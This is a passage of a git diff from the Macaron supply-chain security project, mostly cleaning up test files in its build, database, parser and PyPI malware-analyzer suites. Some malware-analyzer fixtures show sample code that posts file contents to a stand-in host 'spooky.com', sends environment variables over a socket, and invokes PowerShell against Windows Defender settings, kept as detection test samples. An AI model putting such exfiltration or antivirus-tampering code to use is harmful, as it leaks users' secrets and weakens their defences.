test_comparing_maven_cli_command_unequal( """Test comparing two unequal MavenCLICommand objects.""" this_command = maven_cli_parser.parse(this.split()) that_command = maven_cli_parser.parse(that.split()) - assert not this_command == that_command + assert this_command != that_command @pytest.mark.parametrize( diff --git a/tests/build_spec_generator/common_spec/test_core.py b/tests/build_spec_generator/common_spec/test_core.py index 17c79cf66..219b9ac51 100644 --- a/tests/build_spec_generator/common_spec/test_core.py +++ b/tests/build_spec_generator/common_spec/test_core.py @@ -1,7 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""This module contains the tests for build spec generation""" +"""This module contains the tests for build spec generation.""" import pytest from packageurl import PackageURL @@ -24,14 +24,14 @@ [ pytest.param( [ - "make clean".split(), - "mvn clean package".split(), + ["make", "clean"], + ["mvn", "clean", "package"], ], "make clean && mvn clean package", ), pytest.param( [ - "mvn clean package".split(), + ["mvn", "clean", "package"], ], "mvn clean package", ), diff --git a/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py b/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py index 8c181d8d5..09bd2b5db 100644 --- a/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py +++ b/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Script to compare a generated dockerfile buildspec.""" @@ -67,7 +67,7 @@ def main() -> int: def normalize(contents: str) -> list[str]: - """Convert string of file contents to list of its non-empty lines""" + """Convert string of file contents to list of its non-empty lines.""" return [line.strip() for line in contents.splitlines() if line.strip()] diff --git a/tests/build_spec_generator/dockerfile/test_dockerfile_output.py b/tests/build_spec_generator/dockerfile/test_dockerfile_output.py index 2c7d8fab9..9bd94e9e1 100644 --- a/tests/build_spec_generator/dockerfile/test_dockerfile_output.py +++ b/tests/build_spec_generator/dockerfile/test_dockerfile_output.py @@ -1,9 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -Test the logic to dispatch dockerfile generation -""" +"""Test the logic to dispatch dockerfile generation.""" import pytest @@ -42,6 +40,6 @@ def fixture_base_build_spec() -> BaseBuildSpecDict: def test_dispatch_error(maven_build_spec: BaseBuildSpecDict) -> None: - """Ensure that dispatching for unsupported ecosystem fails""" + """Ensure that dispatching for unsupported ecosystem fails.""" with pytest.raises(GenerateBuildSpecError): dockerfile_output.gen_dockerfile(maven_build_spec) diff --git a/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py b/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py index e4ab82833..17361c3f3 100644 --- a/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py +++ b/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py @@ -1,9 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -Test the logic for dockerfile generation to rebuild PyPI packages. -""" +"""Test the logic for dockerfile generation to rebuild PyPI packages.""" import pytest @@ -57,6 +55,6 @@ def fixture_base_build_spec() -> BaseBuildSpecDict: def test_successful_generation( monkeypatch: pytest.MonkeyPatch, snapshot: str, pypi_build_spec: BaseBuildSpecDict ) -> None: - """Ensure that dockerfile is correctly generated for pypi_build_spec""" + """Ensure that dockerfile is correctly generated for pypi_build_spec.""" monkeypatch.setattr(pypi_dockerfile_output, "get_latest_cpython_patch", lambda _major, _minor: "3.9.25") assert gen_dockerfile(pypi_build_spec) == snapshot diff --git a/tests/build_spec_generator/test_build_command_patcher.py b/tests/build_spec_generator/test_build_command_patcher.py index b1efc261b..7cafdaa2a 100644 --- a/tests/build_spec_generator/test_build_command_patcher.py +++ b/tests/build_spec_generator/test_build_command_patcher.py @@ -169,7 +169,7 @@ def test_patch_mvn_cli_command_error( invalid_patch: dict[str, MavenOptionPatchValueType | None], ) -> None: """Test patch mvn cli command patching with invalid patch.""" - original_cmd = "mvn -s ../.github/maven-settings.xml install -Pexamples,noRun".split() + original_cmd = ["mvn", "-s", "../.github/maven-settings.xml", "install", "-Pexamples,noRun"] assert ( _patch_command( @@ -348,7 +348,16 @@ def test_patch_gradle_cli_command_error( invalid_patch: dict[str, GradleOptionPatchValueType | None], ) -> None: """Test patch mvn cli command patching with invalid patch.""" - original_cmd = "gradle clean build --no-build-cache --debug --console plain -Dorg.gradle.parallel=true".split() + original_cmd = [ + "gradle", + "clean", + "build", + "--no-build-cache", + "--debug", + "--console", + "plain", + "-Dorg.gradle.parallel=true", + ] assert ( _patch_command( cmd=original_cmd, @@ -406,7 +415,7 @@ def test_patch_arbitrary_command( ("cmd", "patches"), [ pytest.param( - "mvn --this-is-not-a-mvn-option".split(), + ["mvn", "--this-is-not-a-mvn-option"], { PatchCommandBuildTool.MAVEN: { "--debug": True, @@ -418,7 +427,7 @@ def test_patch_arbitrary_command( id="incorrect_mvn_command", ), pytest.param( - "gradle clean build --not-a-gradle-command".split(), + ["gradle", "clean", "build", "--not-a-gradle-command"], { PatchCommandBuildTool.MAVEN: { "--debug": True, @@ -430,7 +439,7 @@ def test_patch_arbitrary_command( id="incorrect_gradle_command", ), pytest.param( - "mvn clean package".split(), + ["mvn", "clean", "package"], { PatchCommandBuildTool.MAVEN: { "--not-a-valid-option": True, @@ -439,7 +448,7 @@ def test_patch_arbitrary_command( id="incorrect_patch_option_long_name", ), pytest.param( - "mvn clean package".split(), + ["mvn", "clean", "package"], { PatchCommandBuildTool.MAVEN: { # --debug expects a boolean or a None value. diff --git a/tests/build_spec_generator/test_macaron_db_extractor.py b/tests/build_spec_generator/test_macaron_db_extractor.py index 8d63a4168..03de0d8c4 100644 --- a/tests/build_spec_generator/test_macaron_db_extractor.py +++ b/tests/build_spec_generator/test_macaron_db_extractor.py @@ -1,10 +1,10 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the macaron_db_extractor module.""" from collections.abc import Generator -from datetime import datetime, timezone +from datetime import UTC, datetime from typing import Any import pytest @@ -72,15 +72,15 @@ def invalid_db_session() -> Generator[Session, Any, None]: pytest.param( [ ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/foo@0.1.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ], @@ -91,15 +91,15 @@ def invalid_db_session() -> Generator[Session, Any, None]: pytest.param( [ ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ( - datetime(year=2025, month=12, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=12, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/foo@0.1.0", ), ], @@ -159,11 +159,11 @@ def test_lookup_latest_component( pytest.param( [ ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/foo@0.2.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/boohoo@1.0", ), ], @@ -211,7 +211,7 @@ def test_lookup_latest_component_empty_db( def test_repository_information_from_latest_component(macaron_db_session: Session) -> None: """Test getting the repository information from looking up a latest component.""" analysis = Analysis( - analysis_time=datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + analysis_time=datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), macaron_version=__version__, ) diff --git a/tests/database/test_database_manager.py b/tests/database/test_database_manager.py index be205d296..138777cb2 100644 --- a/tests/database/test_database_manager.py +++ b/tests/database/test_database_manager.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module test DatabaseManager. -""" +"""This module test DatabaseManager.""" import os import sqlite3 @@ -27,7 +25,7 @@ class ORMMappedTable(Base): __tablename__ = "_test_orm_table" - id = Column(Integer, primary_key=True, autoincrement=True) # noqa: A003 pylint # ignore=invalid-name + id = Column(Integer, primary_key=True, autoincrement=True) value = Column(String) @@ -55,7 +53,10 @@ def db_man() -> Iterable: ], ) def test_orm_mapping( - db_man: DatabaseManager, identifier: int, test_value: str, expect: bool # pylint: disable=redefined-outer-name + db_man: DatabaseManager, # pylint: disable=redefined-outer-name + identifier: int, + test_value: str, + expect: bool, ) -> None: """Create a table and add rows.""" db_man.create_tables() diff --git a/tests/dependency_analyzer/compare_dependencies.py b/tests/dependency_analyzer/compare_dependencies.py index 9f3600334..dad6c47b8 100755 --- a/tests/dependency_analyzer/compare_dependencies.py +++ b/tests/dependency_analyzer/compare_dependencies.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This script checks the dependency analysis results against the expected outputs. -""" +"""This script checks the dependency analysis results against the expected outputs.""" import json import logging diff --git a/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py b/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py index 7d64af2a0..23b3ca63f 100755 --- a/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py +++ b/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py @@ -1,15 +1,21 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the ``run_macaron.sh`` script.""" import os -import subprocess # nosec B404 +import subprocess import sys import tempfile -from collections import namedtuple +import typing -TestCase = namedtuple("TestCase", ["name", "script_args", "expected_macaron_args"]) + +class TestCase(typing.NamedTuple): + """Wrap arguments for test script calls into objects of this class.""" + + name: str + script_args: list[str] + expected_macaron_args: list[str] def run_test_case( @@ -22,8 +28,8 @@ def run_test_case( name, script_args, expected_macaron_args = test_case print(f"test_macaron_command[{name}]:", end=" ") - result = subprocess.run( - [ # nosec B603 + result = subprocess.run( # noqa: S603 + [ "./output/run_macaron.sh", *script_args, ], diff --git a/tests/integration/run.py b/tests/integration/run.py index 7bebdaf2b..65c2e9175 100644 --- a/tests/integration/run.py +++ b/tests/integration/run.py @@ -11,7 +11,7 @@ import logging.config import os import shutil -import subprocess # nosec B404 +import subprocess import sys import time from abc import abstractmethod @@ -162,7 +162,7 @@ def run_command(self, cwd: str, macaron_cmd: str) -> int: cwd=cwd, env=patch_env(self.env), check=False, - ) # nosec: B603 + ) end_time = time.monotonic_ns() if self.expect_fail: @@ -237,10 +237,7 @@ class ValidateSchemaStep(Step[ValidateSchemaStepOptions]): @staticmethod def options_schema(cwd: str, check_expected_result_files: bool) -> cfgv.Map: """Generate the schema of a schema validation step.""" - if check_expected_result_files: - check_file = check_required_file(cwd) - else: - check_file = cfgv.check_string + check_file = check_required_file(cwd) if check_expected_result_files else cfgv.check_string return cfgv.Map( "schema options", @@ -302,10 +299,7 @@ class CompareStep(Step[CompareStepOptions]): @staticmethod def options_schema(cwd: str, check_expected_result_files: bool) -> cfgv.Map: """Generate the schema of a compare step.""" - if check_expected_result_files: - check_file = check_required_file(cwd) - else: - check_file = cfgv.check_string + check_file = check_required_file(cwd) if check_expected_result_files else cfgv.check_string return cfgv.Map( "compare options", @@ -361,7 +355,7 @@ def update_result(self, cwd: str) -> int: *[result_file, expected_file], ], check=False, - ) # nosec: B603 + ) if proc.returncode != 0: logger.error("Failed to update %s.", expected_file) return 1 diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py index 5ade3b0ef..ee6ae7d0b 100644 --- a/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py +++ b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py @@ -50,7 +50,7 @@ def cim_based_powershell(): "powershell", "-Command", "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference " \ - "... more args ..." + "... more args ...", ]) except: pass diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py b/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py index e2602ef1f..36ded2b57 100644 --- a/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py +++ b/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """ @@ -41,10 +41,10 @@ def file_exfil_to_urllib3(): http = man().request http('POST', "spooky.com", body=oo.read(file, 2048)) - def environ_to_socket(): # nosemgrep - import socket as s # nosemsemgrep - from os import environ as environment_vars # nosemgrep - with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep - soc.connect(('localhost', 0)) # nosemgrep - other = soc # nosemgrep - other.send(environment_vars) # nosemgrep + def environ_to_socket(): # nosemgrep + import socket as s # nosemsemgrep + from os import environ as environment_vars # nosemgrep + with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep + soc.connect(('localhost', 0)) # nosemgrep + other = soc # nosemgrep + other.send(environment_vars) # nosemgrep diff --git a/tests/malware_analyzer/pypi/test_anomalous_version.py b/tests/malware_analyzer/pypi/test_anomalous_version.py index 45e533738..3c1e51407 100644 --- a/tests/malware_analyzer/pypi/test_anomalous_version.py +++ b/tests/malware_analyzer/pypi/test_anomalous_version.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting anomalous version numbers""" +"""Tests for heuristic detecting anomalous version numbers.""" from unittest.mock import MagicMock @@ -13,7 +13,7 @@ def test_analyze_no_information(pypi_package_json: MagicMock) -> None: - """Test for when there is no release information, so error""" + """Test for when there is no release information, so error.""" analyzer = AnomalousVersionAnalyzer() pypi_package_json.get_releases.return_value = None diff --git a/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py b/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py index ecb774da8..49ae38ffb 100644 --- a/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py +++ b/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_one_release_analyzer.py b/tests/malware_analyzer/pypi/test_one_release_analyzer.py index 78ce0fbf9..cc9daa037 100644 --- a/tests/malware_analyzer/pypi/test_one_release_analyzer.py +++ b/tests/malware_analyzer/pypi/test_one_release_analyzer.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py b/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py index 2bedc75bc..70a5ed4c0 100644 --- a/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py +++ b/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py @@ -93,7 +93,7 @@ def test_nonexistent_rule_path(mock_defaults: MagicMock) -> None: @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_invalid_custom_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None: - """Test for when the provided file is not a valid semgrep rule, so error,""" + """Test for when the provided file is not a valid semgrep rule, so error.""" # Use this file as an invalid semgrep rule as it is most definitely not a semgrep rule, and does exist. defaults = { "custom_semgrep_rules_path": os.path.abspath(__file__), @@ -121,7 +121,7 @@ def test_invalid_custom_rules(mock_defaults: MagicMock, pypi_package_json: Magic [ pytest.param("obfuscation", "obfuscation.yaml", id="obfuscation"), pytest.param("exfiltration", "exfiltration.yaml", id="exfiltration"), - pytest.param("anti_analysis", "anti_analysis.yaml", id="anti_analysis") + pytest.param("anti_analysis", "anti_analysis.yaml", id="anti_analysis"), ], ) def test_rules( @@ -154,7 +154,7 @@ def test_rules( @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_custom_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None: - """Test that custom rulesets are properly run and appear in output detections""" + """Test that custom rulesets are properly run and appear in output detections.""" sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples") custom_rule_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "custom_sample.yaml") expected_ids = get_rule_ids_list(custom_rule_path) @@ -212,7 +212,7 @@ def test_disabling_rulesets( list_keys: set[str], rulefile_path: str, ) -> None: - """Test that rulesets can be disabled""" + """Test that rulesets can be disabled.""" sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples") expected_ids = get_rule_ids_list(rulefile_path) @@ -244,7 +244,7 @@ def test_disabling_rulesets( @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_unknown_ruleset_exclusions(mock_defaults: MagicMock) -> None: - """Test when there are ruleset names supplied to be disabled that don't exist""" + """Test when there are ruleset names supplied to be disabled that don't exist.""" defaults = { "disabled_custom_rulesets": "custom_sample\ndoes_not_exist", "custom_semgrep_rules_path": os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources"), @@ -266,7 +266,7 @@ def test_unknown_ruleset_exclusions(mock_defaults: MagicMock) -> None: @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_disabling_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None: - """Test individual rules can be disabled""" + """Test individual rules can be disabled.""" sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples") custom_rule_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "custom_sample.yaml") expected_ids = {"custom_sample_1", "exfiltration_remote-exfiltration"} diff --git a/tests/malware_analyzer/pypi/test_source_code_repo.py b/tests/malware_analyzer/pypi/test_source_code_repo.py index 3cc9db15d..51ecd97c4 100644 --- a/tests/malware_analyzer/pypi/test_source_code_repo.py +++ b/tests/malware_analyzer/pypi/test_source_code_repo.py @@ -1,7 +1,7 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_type_stub_file.py b/tests/malware_analyzer/pypi/test_type_stub_file.py index 565564d85..c1acfcf5a 100644 --- a/tests/malware_analyzer/pypi/test_type_stub_file.py +++ b/tests/malware_analyzer/pypi/test_type_stub_file.py @@ -66,10 +66,10 @@ def test_analyze_no_files_fail(analyzer: TypeStubFileAnalyzer, pypi_package_json def test_analyze_download_failed_raises_error(analyzer: TypeStubFileAnalyzer, pypi_package_json: MagicMock) -> None: """Test the analyzer when source code download fails.""" pypi_package_json.sourcecode.side_effect = SourceCodeError("download failed") - assert ( + assert analyzer.analyze(pypi_package_json) == ( HeuristicResult.SKIP, {"message": "No source code files have been downloaded.", "pyi_files": 0}, - ) == analyzer.analyze(pypi_package_json) + ) @pytest.mark.parametrize( diff --git a/tests/malware_analyzer/pypi/test_unchanged_release.py b/tests/malware_analyzer/pypi/test_unchanged_release.py index 0a04c4292..e3ff918c3 100644 --- a/tests/malware_analyzer/pypi/test_unchanged_release.py +++ b/tests/malware_analyzer/pypi/test_unchanged_release.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_wheel_absence.py b/tests/malware_analyzer/pypi/test_wheel_absence.py index 37716d3cc..ec2ca593d 100644 --- a/tests/malware_analyzer/pypi/test_wheel_absence.py +++ b/tests/malware_analyzer/pypi/test_wheel_absence.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting wheel (.whl) file absence from PyPI packages""" +"""Tests for heuristic detecting wheel (.whl) file absence from PyPI packages.""" from unittest.mock import MagicMock, patch @@ -14,7 +14,7 @@ def test_no_information(pypi_package_json: MagicMock) -> None: - """Test for when inspector links cannot be created, so error""" + """Test for when inspector links cannot be created, so error.""" analyzer = WheelAbsenceAnalyzer() pypi_package_json.get_inspector_src_preview_links.return_value = False @@ -24,7 +24,7 @@ def test_no_information(pypi_package_json: MagicMock) -> None: def test_no_wheel_links(pypi_package_json: MagicMock) -> None: - """Test for when no .whl files are present in the asset, so failed""" + """Test for when no .whl files are present in the asset, so failed.""" analyzer = WheelAbsenceAnalyzer() pypi_package_json.get_inspector_src_preview_links.return_value = True @@ -36,7 +36,7 @@ def test_no_wheel_links(pypi_package_json: MagicMock) -> None: def test_wheel_links(pypi_package_json: MagicMock) -> None: - """Test for when at least one .whl file is present in the asset, so pass""" + """Test for when at least one .whl file is present in the asset, so pass.""" analyzer = WheelAbsenceAnalyzer() link = "https://files.pythonhosted.org/packages/de/fa/2fbcebaeeb909511139ce28dac4a77ab2452ba72b49a22b12981b2f375b3/package.whl" @@ -53,7 +53,7 @@ def test_wheel_links(pypi_package_json: MagicMock) -> None: # If it is imported like this: from os import listdir; listdir() then you patch .listdir. @patch("macaron.slsa_analyzer.package_registry.pypi_registry.send_head_http_raw") def test_get_inspector_src_preview_links(mock_send_head_http_raw: MagicMock) -> None: - """Test to make sure the internal function used by this analyzer produces the correct output from JSON metadata""" + """Test to make sure the internal function used by this analyzer produces the correct output from JSON metadata.""" version = "0.1.0" package_name = "ttttttttest_nester" file_prefix = package_name + "-" + version diff --git a/tests/parsers/actionparser/test_actionparser.py b/tests/parsers/actionparser/test_actionparser.py index afc12d37a..3ee6a15bb 100644 --- a/tests/parsers/actionparser/test_actionparser.py +++ b/tests/parsers/actionparser/test_actionparser.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the GitHub Actions parser. -""" +"""This module tests the GitHub Actions parser.""" import os from pathlib import Path diff --git a/tests/parsers/bashparser/test_bashparser.py b/tests/parsers/bashparser/test_bashparser.py index a489330ac..be6c88181 100644 --- a/tests/parsers/bashparser/test_bashparser.py +++ b/tests/parsers/bashparser/test_bashparser.py @@ -1,9 +1,7 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the bash parser. -""" +"""This module tests the bash parser.""" import json import os diff --git a/tests/parsers/pomparser/test_pomparser.py b/tests/parsers/pomparser/test_pomparser.py index 4ccfe22d6..30a19d511 100644 --- a/tests/parsers/pomparser/test_pomparser.py +++ b/tests/parsers/pomparser/test_pomparser.py @@ -1,9 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the POM parser. -""" +"""This module tests the POM parser.""" import os from pathlib import Path diff --git a/tests/policy_engine/test_policy.py b/tests/policy_engine/test_policy.py index b38346c22..0b01b3d39 100644 --- a/tests/policy_engine/test_policy.py +++ b/tests/policy_engine/test_policy.py @@ -1,10 +1,10 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module tests the policies supported by the policy engine.""" import os -import subprocess # nosec B404 +import subprocess from pathlib import Path import pytest @@ -19,9 +19,8 @@ @pytest.fixture() def database_setup() -> None: """Prepare the database file.""" - if not os.path.exists(DATABASE_FILE): - if os.path.exists(DATABASE_FILE + ".gz"): - subprocess.run(["gunzip", "-k", DATABASE_FILE + ".gz"], check=True, shell=False) # nosec B603 B607 + if not os.path.exists(DATABASE_FILE) and os.path.exists(DATABASE_FILE + ".gz"): + subprocess.run(["gunzip", "-k", DATABASE_FILE + ".gz"], check=True, shell=False) # noqa: S603 S607 def test_dump_prelude(database_setup) -> None: # type: ignore # pylint: disable=unused-argument,redefined-outer-name diff --git a/tests/policy_engine/test_souffle.py b/tests/policy_engine/test_souffle.py index 3a927a867..696024909 100644 --- a/tests/policy_engine/test_souffle.py +++ b/tests/policy_engine/test_souffle.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Test the Souffle wrapper.""" @@ -29,7 +29,7 @@ def test_interpret_file() -> None: def test_interpret_text() -> None: - """Test basic call to interpreting a string literal""" + """Test basic call to interpreting a string literal.""" with SouffleWrapper(fact_dir=str(FACT_DIR)) as sfl: result = sfl.interpret_text(TEXT) assert result == {"path": [["1", "2"], ["1", "3"], ["2", "3"]]} diff --git a/tests/repo_finder/test_repo_finder.py b/tests/repo_finder/test_repo_finder.py index 25a917b3b..7a5ceefee 100644 --- a/tests/repo_finder/test_repo_finder.py +++ b/tests/repo_finder/test_repo_finder.py @@ -95,7 +95,6 @@ def test_pom_extraction_ordering(tmp_path: Path, test_config: str, expected: str """ [repofinder.java] artifact_repositories = -   """, RepoFinderInfo.NO_MAVEN_HOST_PROVIDED, ), @@ -103,7 +102,6 @@ def test_pom_extraction_ordering(tmp_path: Path, test_config: str, expected: str """ [repofinder.java] repo_pom_paths = -   """, RepoFinderInfo.NO_POM_TAGS_PROVIDED, ), diff --git a/tests/repo_finder/test_repo_finder_deps_dev.py b/tests/repo_finder/test_repo_finder_deps_dev.py index 10cb1a5e5..aead1f71f 100644 --- a/tests/repo_finder/test_repo_finder_deps_dev.py +++ b/tests/repo_finder/test_repo_finder_deps_dev.py @@ -65,7 +65,8 @@ def test_find_repo_success(httpserver: HTTPServer, deps_dev_service_mock: dict) ], ) def test_get_project_info_invalid_url( - deps_dev_service_mock: dict, repo_url: str # pylint: disable=unused-argument + deps_dev_service_mock: dict, # pylint: disable=unused-argument + repo_url: str, ) -> None: """Test get project info invalid url.""" assert not DepsDevRepoFinder().get_project_info(repo_url) diff --git 